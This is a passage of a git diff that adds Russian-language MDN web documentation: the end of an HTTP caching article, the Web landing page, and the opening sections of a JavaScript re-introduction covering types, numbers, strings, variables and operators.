+<p>Заголовок ответа {{HTTPHeader("Last-Modified")}} можно использовать в качестве слабого валидатора. Слабым он считается из-за того, что имеет 1-секундное разрешение. Если в ответе присутствует заголовок <code>Last-Modified</code>, то для валидации кешированного документа клиент может выводить в запросах заголовок  {{HTTPHeader("If-Modified-Since")}}.</p>
+
+<p>При запросе на валидацию сервер может либо проигнорировать валидацию и послать стандартный ответ {{HTTPStatus(200)}} <code>OK</code>, либо вернуть ответ {{HTTPStatus(304)}} <code>Not Modified</code> (с пустым телом), тем самым указывая браузеру взять копию из кеша. В последнем случае в ответ могут входить также заголовки для обновления срока действия кешированного ресурса.</p>
+
+<h2 id="Изменяющиеся_ответы"><a id="Varying_responses" name="Varying_responses">Изменяющиеся ответы</a></h2>
+
+<p>Заголовок HTTP-ответа {{HTTPHeader("Vary")}} определяет, как по заголовкам будущих запросов понять, может ли быть использована копия из кеша, или нужно запросить новые данные у сервера.</p>
+
+<p>Если кеш получает запрос, который можно удовлетворить сохраненным в кеше ответом с заголовком <code>Vary</code>, то использовать этот ответ можно только при совпадении всех указанных в <code>Vary</code> полей заголовка исходного (сохраненного в кеше) запроса и нового запроса.</p>
+
+<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;"></p>
+
+<p>Это может быть полезно, например, при динамическом предоставлении контента. При использовании заголовка <code>Vary: User-Agent</code> кеширующие сервера, принимая решение об использовании страницы из кеша, должны учитывать агент пользователя. Так можно избежать ситуации, когда пользователи мобильных устройств по ошибке получат десктопную версию вашего сайта. Вдобавок, это может помочь Google и другим поисковым системам обнаружить мобильную версию страницы, и может также указать им на то, что здесь нет никакой подмены контента с целью поисковой оптимизации (<a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a>).</p>
+
+<pre class="notranslate">Vary: User-Agent</pre>
+
+<p>Поскольку значение заголовка {{HTTPHeader("User-Agent")}} различается ("varies") у мобильных и десктопных клиентов, закешированный мобильный контент не будет по ошибке отсылаться пользователям десктопов и наоборот.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc7234">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching</a></li>
+ <li><a href="https://www.mnot.net/cache_docs">Caching Tutorial – Mark Nottingham</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching">HTTP caching – Ilya Grigorik</a></li>
+ <li><a href="https://redbot.org/">RedBot</a>, инструмент для проверки относящихся к кешу заголовков HTTP .</li>
+</ul>
+
+<p><br>
+  </p>
diff --git a/files/ru/web/index.html b/files/ru/web/index.html
new file mode 100644
index 0000000000..01a3e39507
--- /dev/null
+++ b/files/ru/web/index.html
@@ -0,0 +1,150 @@
+---
+title: Веб-технологии для разработчиков
+slug: Web
+tags:
+  - Landing
+  - Web
+translation_of: Web
+---
+<section id="Quick_Links">
+<ol>
+ <li><strong><a href="/ru/docs/Web">Веб-технологии для разработчиков </a></strong></li>
+ <li class="toggle">
+  <details open><summary>Основы</summary>
+  <ol>
+   <li><a href="/ru/docs/Web/HTML">HTML</a></li>
+   <li><a href="/ru/docs/Web/CSS">CSS</a></li>
+   <li><a href="/ru/docs/Web/HTTP">HTTP</a></li>
+  </ol>
+  </details>
+ </li>
+ <li class="toggle">
+  <details open><summary>Написание скриптов</summary>
+  <ol>
+   <li><a href="/ru/docs/Web/JavaScript">JavaScript</a></li>
+   <li><a href="/ru/docs/Web/API">Web APIs</a></li>
+   <li><a href="/ru/docs/Web/Events">События</a></li>
+   <li><a href="/ru/docs/Web/Web_components">Веб-компоненты</a></li>
+  </ol>
+  </details>
+ </li>
+ <li class="toggle">
+  <details open><summary>Графика</summary>
+  <ol>
+   <li><a href="/ru/docs/Web/HTML/Canvas">Canvas</a></li>
+   <li><a href="/ru/docs/Web/SVG">SVG</a></li>
+   <li><a href="/ru/docs/Web/API/WebGL_API">WebGL</a></li>
+  </ol>
+  </details>
+ </li>
+ <li class="toggle">
+  <details open><summary>Прочие</summary>
+  <ol>
+   <li><a href="/ru/docs/Web/Media">Сетевые медиа-технологии</a></li>
+   <li><a href="/ru/docs/WebAssembly">WebAssembly</a></li>
+   <li><a href="/ru/docs/Web/MathML">MathML</a></li>
+   <li><a href="/ru/docs/Web/XSLT">XSLT</a></li>
+   <li><a href="/ru/docs/Web/EXSLT">EXSLT</a></li>
+   <li><a href="/ru/docs/Web/XPath">XPath</a></li>
+  </ol>
+  </details>
+ </li>
+</ol>
+</section>
+
+<p class="summary">Современные веб-технологии предоставляют разработчикам неограниченные возможности для реализации своих идей. Для того, чтобы вы могли использовать весь их потенциал, необходимо знать как правильно их использовать. На этой странице мы постарались собрать ссылки на документацию по различным технологиям, которые могут быть вам полезны.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Веб-технологии">Веб-технологии</h2>
+
+<h3 id="Основы_веб_разработки">Основы веб разработки</h3>
+
+<dl>
+ <dt><a href="/ru/docs/Web/HTML">HTML</a></dt>
+ <dd>Язык гипертекстовой разметки — это язык, используемый для определения структуры и описания содержания веб-страницы в структурированной форме.</dd>
+ <dt><a href="/ru/docs/Web/CSS">CSS</a></dt>
+ <dd>Каскадные таблицы стилей используются для описания внешнего вида веб-контента.</dd>
+ <dt><a href="/ru/docs/Web/HTTP">HTTP</a></dt>
+ <dd><dfn>HyperText Transfer Protocol (HTTP)</dfn> — это протокол, по которому доставляются HTML и прочие медиа-документы.</dd>
+</dl>
+
+<h3 id="Написание_сценариев">Написание сценариев</h3>
+
+<dl>
+ <dt><a href="/ru/docs/Web/JavaScript">JavaScript</a></dt>
+ <dd>JavaScript — язык программирования, широко используемый для реализации взаимодействия пользователя с веб-сайтами и приложениями.</dd>
+ <dt><a href="/ru/docs/Web/Reference/API">Веб API</a></dt>
+ <dd>Данный раздел включает справочные материалы по каждому из отдельно взятых API, содержащих огромные возможности для создания веб-сценариев, включая <a href="/ru/docs/DOM">DOM</a> и все связанные с ним API, которые вы можете использовать для построения веб-контента и приложений.
+ <ul>
+  <li><a href="/ru/docs/Web/API" title="/ru/docs/Web/API">Справочник по веб API</a> содержит все интерфейсы в алфавитном порядке.</li>
+  <li><a href="/ru/docs/WebAPI">WebAPI</a> — данная страница содержит перечень API для взаимодействия с устройствами и другие API не менее полезные для приложений.</li>
+  <li><a href="/docs/Web/Events">Справка по событиям</a> содержит список событий, которые возникают на веб-странице или в веб-приложении.</li>
+ </ul>
+ </dd>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Web_components">Веб Компоненты</a></dt>
+ <dd>Веб Компоненты - это набор различных технологий, позволяющих создавать собственные переиспользуемые элементы - со своей функциональностью, инкапсулированной от остального кода - и использовать их в ваших веб-приложениях.</dd>
+</dl>
+
+<h3 id="Графика">Графика</h3>
+
+<dl>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Canvas">Canvas</a></dt>
+ <dd>{{HTMLElement("canvas")}} элемент предоставляет API для рисования 2D-графики, с использованием JavaScript.</dd>
+ <dt><a href="/ru/docs/Web/SVG">SVG</a></dt>
+ <dd>SVG (Scalable Vector Graphics - масштабируемая векторная графика) -   позволяет вам описать изображение в виде линий, кривых и других геометрических фигур. Благодаря этому можно машстабировать рисунок без потери качества.</dd>
+ <dt><a href="/ru/docs/Web/WebGL" title="/ru/docs/Web/WebGL">WebGL</a></dt>
+ <dd>WebGL - это JavaScript API,  позволяющее рисовать 3D или 2D изображения используя  HTML элемент {{HTMLElement("canvas")}}. Эта технология позволяет использовать стандарт OpenGL ES в Web-содержимом.</dd>
+ <dt>
+ <h3 id="Аудио_видео_и_мультимедиа">Аудио, видео и мультимедиа</h3>
+ </dt>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Media">Web медиа-технологии</a></dt>
+ <dd>Список связанного с медиа API, со ссылками на документацию для каждого из них.</dd>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Media_Streams_API">Media capture and streams API</a></dt>
+ <dd>Справочник для API, используемого для потоковой передачи, записи и управления данным как локально, так и по сети. Также включает в себя инструменты для использования локальных камер и микрофонов для захвата видео, аудио и статичных изображений.</dd>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Использование HTML аудио и видео</a></dt>
+ <dd>Включение видео и\или аудио в веб-страницу и управление их воспроизведением.</dd>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/WebRTC_API">WebRTC</a></dt>
+ <dd>RTC в WebRTC означает Real-Time Communications (связь в реальном времени) - технологию, обеспечивающую поток аудио или видео и обмен данным между одноранговыми клиентами браузера.</dd>
+</dl>
+
+<h3 id="Прочее">Прочее</h3>
+
+<dl>
+ <dt><a href="/ru/docs/Web/MathML">MathML</a></dt>
+ <dd>Математический язык разметки предоставляет возможность показа комплексных математических уравнений и синтаксиса.</dd>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/XSLT">XSLT</a></dt>
+ <dd>Extensible Stylesheet Language Transformations (XSLT) позволяет преобразовать XML-документ в человекочитаемый HTML. </dd>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/EXSLT">EXSLT</a></dt>
+ <dd>Фукнциональное расширение, которое предоставляет дополнительные возможности для XSLT.</dd>
+ <dt><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/XPath">XPath</a></dt>
+ <dd>XPath позволяет вам выбрать DOM-узел в документе, используя более мощный синтаксис, чем предоставляется обычными <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors">CSS selectors</a>.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Документация_по_типам">Документация по типам</h2>
+
+<dl>
+ <dt><a href="/ru/docs/Web/Guide">Руководство веб-разработчика</a></dt>
+ <dd>Руководство веб-разработчика предоставляет полезные пошаговые материалы, которые помогут вам в полной мере использовать веб-технологии для выполнения ваших задач и реализации ваших идей.</dd>
+ <dt><a href="/ru/docs/Web/Tutorials">Учебные материалы для веб-разработчиков</a></dt>
+ <dd>Перечень учебных материалов позволит вам пошагово изучить API, технологии и расширить свой кругозор в области веб-технологий.</dd>
+ <dt><a href="/ru/docs/Web/Reference">Справочные материалы</a></dt>
+ <dd><em>На данной странице будут представлены ссылки на всю справочную информацию, имеющуюся в MDN; а пока можно использовать ссылки на веб-технологии из левой части данной страницы.</em></dd>
+</dl>
+
+<h2 id="Прочие_разделы">Прочие разделы</h2>
+
+<dl>
+ <dt><a href="/ru/docs/Web/Apps">Центр приложений</a></dt>
+ <dd>Содержит документацию для разработчиков веб-приложений. При помощи данных материалов можно научиться создавать приложения для мобильных устройств, персональных компьютеров и Firefox OS.</dd>
+ <dt><a href="/ru/docs/Web/Accessibility">Общедоступность</a></dt>
+ <dd>Общедоступность (доступность, accessibility) в веб-разработке означает предоставление возможности использования веб-сайтов максимально возможному числу людей, даже если эти люди имеют некоторые физиологические ограничения. Этот раздел содержит информацию о разработке наиболее доступного веб-контента для таких людей.</dd>
+ <dt><a href="/ru/docs/Web/Security">Безопасность</a></dt>
+ <dd>Этот раздел уделяет внимание вопросам безопасности веб-сайтов и веб-приложений.</dd>
+</dl>
+</div>
+</div>
+
+<p><span class="alllinks"><a href="/ru/docs/tag/Web">Посмотреть всё...</a></span></p>
diff --git a/files/ru/web/javascript/a_re-introduction_to_javascript/index.html b/files/ru/web/javascript/a_re-introduction_to_javascript/index.html
new file mode 100644
index 0000000000..f2c82c85a0
--- /dev/null
+++ b/files/ru/web/javascript/a_re-introduction_to_javascript/index.html
@@ -0,0 +1,900 @@
+---
+title: Повторное введение в JavaScript (JS учебник)
+slug: Web/JavaScript/A_re-introduction_to_JavaScript
+translation_of: Web/JavaScript/A_re-introduction_to_JavaScript
+---
+<div>{{jsSidebar}}</div>
+
+<p>Почему повторное введение? Потому что {{Glossary("JavaScript")}} известен тем, что является <a href="http://javascript.crockford.com/javascript.html">самым неправильно понятым языком программирования в мире</a>. Его часто называют игрушкой, но под слоем обманчивой простоты ожидают мощные языковые возможности. В настоящее время JavaScript используется невероятным количеством высококлассных приложений, показывая, что углублённое знание этой технологии является важным навыком для любого веб или мобильного разработчика.</p>
+
+<p>Было бы полезно начать с истории языка. JavaScript был создан в 1995 Бренданом Айком, инженером в компании Netscape. Первый релиз состоялся вместе с выходом браузера Netscape 2 в начале 1996 года. Сначала язык назывался LiveScript, но затем был переименован в связи с маркетинговыми целями, чтобы сыграть на популярности языка Java компании Sun Microsystem — несмотря на это языки практически не имеют ничего общего друг с другом. Так было положено начало путаницы между этими языками.</p>
+
+<p>Чуть позже Microsoft выпустила очень похожий и практически совместимый язык JScript, который шёл вместе с IE3. Через пару месяцев Netscape отправил язык в <a href="http://www.ecma-international.org/">Ecma International</a>, Европейскую организацию занимающуюся стандартами, которая выпустила первую версию стандарта <a href="https://developer.mozilla.org/en/JavaScript/Language_Resources" title="en/ECMAScript">ECMAScript</a> в 1997. Стандарт получил значимое обновление в <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript edition 3</a> в 1999, и остается самым стабильным до сегодняшнего дня. Четвертая версия была отклонена, из-за проблем с усложнениями в языке. Многие вещи из четвертого издания послужили основой для стандарта ECMAScript 5 (декабрь 2009) и ECMAScript 6 (июнь 2015).</p>
+
+<div class="note">
+<p><strong>На заметку</strong>: Далее по тексту мы будем называть язык ECMAScript как "JavaScript".</p>
+</div>
+
+<p>В отличие от большинства языков, JavaScript не следует концепции ввода (input) и вывода (output). Он спроектирован таким образом, чтобы запускаться как язык сценариев, встроенный в среду исполнения. Самая популярная среда исполнения это браузер, однако интерпретаторы JavaScript присутствуют и в Adobe Acrobat, Photoshop, Yahoo!'s Widget engine, и даже в серверном окружении, например <a href="http://nodejs.org/" title="nodejs.org">node.js</a>.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>JavaScript является объектно-ориентированным языком, имеющий типы и операторы, встроенные объекты и методы. Его синтаксис происходит от языков Java и C, поэтому много конструкций из этих языков применимы и к JavaScript. Одним из ключевых отличий JavaScript является отсутствие классов, вместо этого функциональность классов осуществляется прототипами объектов (смотрите ES6 {{jsxref("Classes")}}) . Другое главное отличие в том, что функции это объекты, в которых содержится исполняемый код и которые могут быть переданы куда-либо, как и любой другой объект.</p>
+
+<p>Начнём с основы любого языка: с типов данных. Программы на JavaScript оперируют значениями, и все эти значения принадлежат к определенному типу. Типы данных в JavaScript:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Number" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Number">Числа</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/String" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String">Строки</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">Логические типы</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Function">Функции</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Object" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Object">Объекты</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Symbol">Символы</a> (новый тип из шестой редакции)</li>
+</ul>
+
+<p>Да, еще <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/undefined">Undefined</a> и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/null">Null</a>, которые немного обособлены. И <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Array" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array">Массивы</a>, которые являются особым видом объектов. А также <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Date" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Date">Даты</a> и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/RegExp" title="en/Core_JavaScript_1.5_Reference/Global_Objects/RegExp">Регулярные выражения</a>, тоже являющиеся объектами. И, если быть технически точным, функции это тоже особый вид объекта. Поэтому схема типов выглядит скорее так:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Number">Числа</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/String">Строки</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Boolean">Логические типы</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Symbol">Символы</a> (новый тип из шестой редакции)</li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Object">Объекты</a>
+  <ul>
+   <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function">Функции</a></li>
+   <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Array">Массивы</a></li>
+   <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Date">Даты</a></li>
+   <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/RegExp">Регулярные выражения</a></li>
+  </ul>
+ </li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/null">Null</a></li>
+ <li><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a></li>
+</ul>
+
+<p>Также есть несколько встроенных типов <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Error" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Error">Ошибок</a>. Чтобы было проще, рассмотрим подробнее первую схему.</p>
+
+<h2 id="Числа">Числа</h2>
+
+<p>Числа в JavaScript — это "64-битные значения двойной точности формата IEEE 754", согласно спецификации. Это имеет интересные последствия. В JavaScript нет такой вещи, как целое число, поэтому с арифметикой нужно быть начеку, если вы привыкли к вычислениям в языках C или Java. Взгляните на пример:</p>
+
+<pre class="brush: js notranslate">0.1 + 0.2 == 0.30000000000000004
+</pre>
+
+<p>На практике целые значения это 32-битные целые (и хранятся таким образом в некоторых браузерных реализациях), что может быть важно для побитовых операций.</p>
+
+<p>Поддерживаются стандартные <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators" title="en/Core_JavaScript_1.5_Reference/Operators/Arithmetic_Operators">арифметические операторы</a>, включая сложение, вычитание, остаток от деления и т.д. Есть ещё встроенный объект, который я забыл упомянуть, называемый <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Math" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Math">Math</a>, который содержит более продвинутые математические функции и константы:</p>
+
+<pre class="brush: js notranslate">Math.sin(3.5);
+var circumference = Math.PI * (r + r);
+</pre>
+
+<p>Вы можете преобразовать строку в целое число, используя встроенную функцию <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/parseInt" title="en/Core_JavaScript_1.5_Reference/Global_Functions/parseInt">parseInt()</a></code>. Её необязательный второй параметр — основание системы счисления, которое следует всегда явно указывать:</p>
+
+<pre class="brush: js notranslate">parseInt("123", 10); // 123
+parseInt("010", 10); // 10
+</pre>
+
+<p>Если вы не предоставите основание, то можете получить неожиданные результаты:</p>
+
+<pre class="brush: js notranslate">parseInt("010");  // 8
+parseInt("0x10"); // 16
+</pre>
+
+<p>Это случилось потому, что функция <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/parseInt">parseInt()</a></code> расценила строку как восьмеричную из-за начального 0, а шестнадцатеричную - из-за начального "0x".</p>
+
+<p>Если хотите преобразовать двоичное число в десятичное целое, просто смените основание:</p>
+
+<pre class="brush: js notranslate">parseInt("11", 2); // 3
+</pre>
+
+<p>Вы можете аналогично парсить дробные числа, используя встроенную функцию <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/parseFloat" title="en/JavaScript/Reference/Global Objects/parseFloat">parseFloat()</a></code>, которая использует всегда основание 10 в отличие от родственной <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/parseInt" title="en/JavaScript/Reference/Global Objects/parseInt"><code>parseInt()</code></a>.</p>
+
+<p>Также можно использовать унарный оператор <strong><code>+</code></strong> для преобразования значения в число:</p>
+
+<pre class="brush: js notranslate">+ "42";   // 42
++ "0x10"; // 16
+</pre>
+
+<p>Специальное значение <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN</a> (сокращение от "Not a Number") возвращается, если строка не является числом:</p>
+
+<pre class="brush: js notranslate">parseInt("hello", 10); // NaN
+</pre>
+
+<p><code>NaN</code> "заразителен": любая математическая операция над <code>NaN</code> возвращает <code>NaN</code>:</p>
+
+<pre class="brush: js notranslate">NaN + 5; // NaN
+</pre>
+
+<p>Проверить значение на <code>NaN</code> можно встроенной функцией <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/isNaN" title="en/Core_JavaScript_1.5_Reference/Global_Functions/isNaN">isNaN()</a></code>:</p>
+
+<pre class="brush: js notranslate">isNaN(NaN); // true
+</pre>
+
+<p>JavaScript также имеет специальные значения <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="en/Core_JavaScript_1.5_Reference/Global_Properties/Infinity">Infinity</a></code> (бесконечность) и<code> -Infinity</code>:</p>
+
+<pre class="brush: js notranslate">1 / 0; // Infinity
+-1 / 0; // -Infinity
+</pre>
+
+<p>Проверить значение на <code>Infinity</code>, <code>-Infinity</code> и <code>NaN</code> можно с помощью встроенной функции <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/isFinite" title="en/Core_JavaScript_1.5_Reference/Global_Functions/isFinite">isFinite()</a></code>:</p>
+
+<pre class="brush: js notranslate">isFinite(1/0); // false
+isFinite(-Infinity); // false
+isFinite(NaN); // false
+</pre>
+
+<div class="note"><strong>Примечание:</strong> функции <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/parseInt" title="en/JavaScript/Reference/Global Objects/parseInt"><code>parseInt()</code></a> и <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/parseFloat" title="en/JavaScript/Reference/Global Objects/parseFloat">parseFloat()</a></code> обрабатывают строку до тех пор, пока не будет встречен символ, не являющийся корректным для заданного числового формата, затем эти функции возвращают число, полученное в результате обработки вплоть до этого символа. А оператор "+" просто возвращает <code>NaN</code>, если в строке есть хоть один некорректный символ. Попробуйте сами в консоли преобразовать строку "10.2abc" каждым из методов, и различие станет ясным.</div>
+
+<h2 id="Строки">Строки</h2>
+
+<p>Строки в JavaScript - это последовательности <a href="/ru/docs/Web/JavaScript/Guide/Grammar_and_types" title="en/Core_JavaScript_1.5_Guide/Unicode">символов Unicode</a> (в кодировке UTF-16). Для тех, кто имеет дело с интернационализацией, это должно стать хорошей новостью. Если быть более точным, то строка - это последовательность кодовых единиц, каждая из которых представлена 16-битовым числом, а каждый символ Unicode состоит из 1 или 2 кодовых единиц.</p>
+
+<p>Чтобы представить единственный символ, используйте строку, содержащую только этот символ.</p>
+
+<p>Чтобы выяснить длину строки (в кодовых единицах), используйте свойство <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/String/length" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/length">length</a></code>:</p>
+
+<pre class="brush: js notranslate">"hello".length; // 5
+</pre>
+
+<p>Это уже первый шаг для работы с объектами! Мы уже говорили, что и строки можно использовать как объекты? У них тоже есть <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/String" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String#Methods">методы</a>:</p>
+
+<pre class="brush: js notranslate">"hello".charAt(0); // h
+"hello, world".replace("hello", "goodbye"); // goodbye, world
+"hello".toUpperCase(); // HELLO
+</pre>
+
+<h2 id="Другие_типы">Другие типы</h2>
+
+<p>JavaScript дополнительно различает такие типы, как <code>null</code>, который указывает на преднамеренное отсутствующее значение, и <code>undefined</code>, указывающий на неинициализированное значение — то есть, значение, которое даже не было назначено. Мы поговорим о переменных позже, но в JavaScript можно объявить переменную без присвоения ей значения. В этом случае тип переменной будет <code>"undefined"</code>.</p>
+
+<p>Ещё в JavaScript есть логический (булевый) тип данных, который может принимать два возможных значения <span style="font-family: consolas,monaco,andale mono,monospace;">true</span> или <span style="font-family: consolas,monaco,andale mono,monospace;">false</span> (оба являются ключевыми словами). Любое значение может быть преобразовано в логическое значение в соответствии со следующими правилами:</p>
+
+<ol>
+ <li><code>false</code>, <code>0</code>, пустая строка (<code>""</code>), <code>NaN</code>, <code>null</code> и <code>undefined</code> преобразуются в <code>false.</code></li>
+ <li>Все остальные значения преобразуются в <code>true.</code></li>
+</ol>
+
+<p>Преобразование значений можно осуществить явно, используя функцию <code>Boolean()</code>:</p>
+
+<pre class="brush: js notranslate">Boolean(""); // false
+Boolean(234); // true
+</pre>
+
+<p>Этот метод используется редко, так как JavaScript может автоматически преобразовывать типы в тех случаях, когда ожидается булевое значение, например в операторе <code>if</code>. Из-за того, что любой тип данных может быть преобразован в булевое значение, иногда говорят, что данные "истинные" или "ложные".</p>
+
+<p>Для операций с логическими данными используются логические операторы: <code>&amp;&amp;</code> (логическое <em>И</em>), <code>||</code> (логическое <em>ИЛИ</em>), <code>!</code> (логическое <em>НЕ</em>).</p>
+
+<h2 id="Переменные">Переменные</h2>
+
+<p>Для объявления новых переменных в  JavaScript используются ключевые слова <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> или <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var" title="/en/JavaScript/Reference/Statements/var">var</a></code>.</p>
+
+<pre class="brush: js notranslate">let a;
+let name = "Simon";
+</pre>
+
+<p><strong><code>let</code>  </strong>позволяет объявлять переменные, которые доступны только в <em><strong>блоке</strong>,</em> в котором они объявлены:</p>
+
+<pre class="brush: js notranslate">// myLetVariable недоступна здесь
+
+for (let myLetVariable = 0; myLetVariable &lt; 5; myLetVariable++) {
+  // myLetVariable доступна только здесь
+}
+
+// myLetVariable недоступна здесь</pre>
+
+<p><code><strong>const</strong></code> позволяет создавать переменные, чьи значения не предполагают изменений. Переменная доступна из <em><strong>блока</strong></em>, в котором она объявлена.</p>
+
+<pre class="brush: js notranslate">const Pi = 3.14; // в переменную Pi записано значение.
+Pi = 1; // вызовет исключение, так как значение константы нельзя изменить.</pre>
+
+<p><code><strong>var</strong></code> наиболее общее средство объявления переменной. Оно не имеет ограничений, которые имеют два вышеописанных способа. Это потому, что это был изначально единственный способ объявления переменной в JavaScript. Переменная, объявленная с помощью <strong><code>var</code>, </strong>доступна в пределах <strong><em>функции</em></strong>, в которой она объявлена.</p>
+
+<pre class="brush: js notranslate">var a;
+var name = 'Simon';</pre>
+
+<p>Пример кода с переменной, объявленной с помощью <strong><code>var</code>:</strong></p>
+
+<pre class="brush: js notranslate">// myVarVariable доступна здесь
+
+for (var myVarVariable = 0; myVarVariable &lt; 5; myVarVariable++) {
+  // myVarVariable доступна для всей функции
+}
+
+// myVarVariable доступна и здесь</pre>
+
+<p>Если вы объявляете переменную без присвоения ей какого-либо значения, то её тип будет определён как <code>undefined</code>. </p>
+
+<p>Важной особенностью языка JavaScript является то, что блоки данных не имеют своей области видимости, она есть только у функций. Поэтому, если объявить переменную через <code>var</code> в блоке данных (например, внутри контролирующей структуры <code>if</code>), то она будет доступна всей функции. Следует отметить, что в новом стандарте ECMAScript Edition 6 появились инструкции <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code> и <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/const">const</a></code>, позволяющие объявлять переменные с областью видимости, ограниченной пределами блока.</p>
+
+<h2 id="Операторы">Операторы</h2>
+
+<p>JavaScript поддерживает такие операторы, как <code>+</code>, <code>-</code>, <code>*</code>, <code>/</code> и <code>%</code>, который возвращает остаток от деления (<a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder_%28%29">не путать с модулем</a>). Значения присваиваются с помощью оператора <code>=</code>, или с помощью составных операторов <code>+=</code> и <code>-=</code>. Это сокращённая запись выражения <code><strong>x = x </strong><em>оператор</em><strong> y</strong></code>.</p>
+
+<pre class="brush: js notranslate">x += 5
+x = x + 5
+</pre>
+
+<p>Так же используются операторы инкремента (<code>++</code>) и декремента (<code>--</code>). Которые имеют префиксную и постфиксную форму записи.</p>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators" title="en/Core_JavaScript_1.5_Reference/Operators/String_Operators">Оператор <code>+</code></a> так же выполняет конкатенацию (объединение) строк:</p>
+
+<pre class="brush: js notranslate">"hello" + " world"; // "hello world"
+</pre>
+
+<p>При сложении строкового и числового значений происходит автоматическое преобразование в строку. Поначалу такое может запутать:</p>
+
+<pre class="brush: js notranslate">"3" + 4 + 5; // "345"
+3 + 4 + "5"; // "75"
+</pre>
+
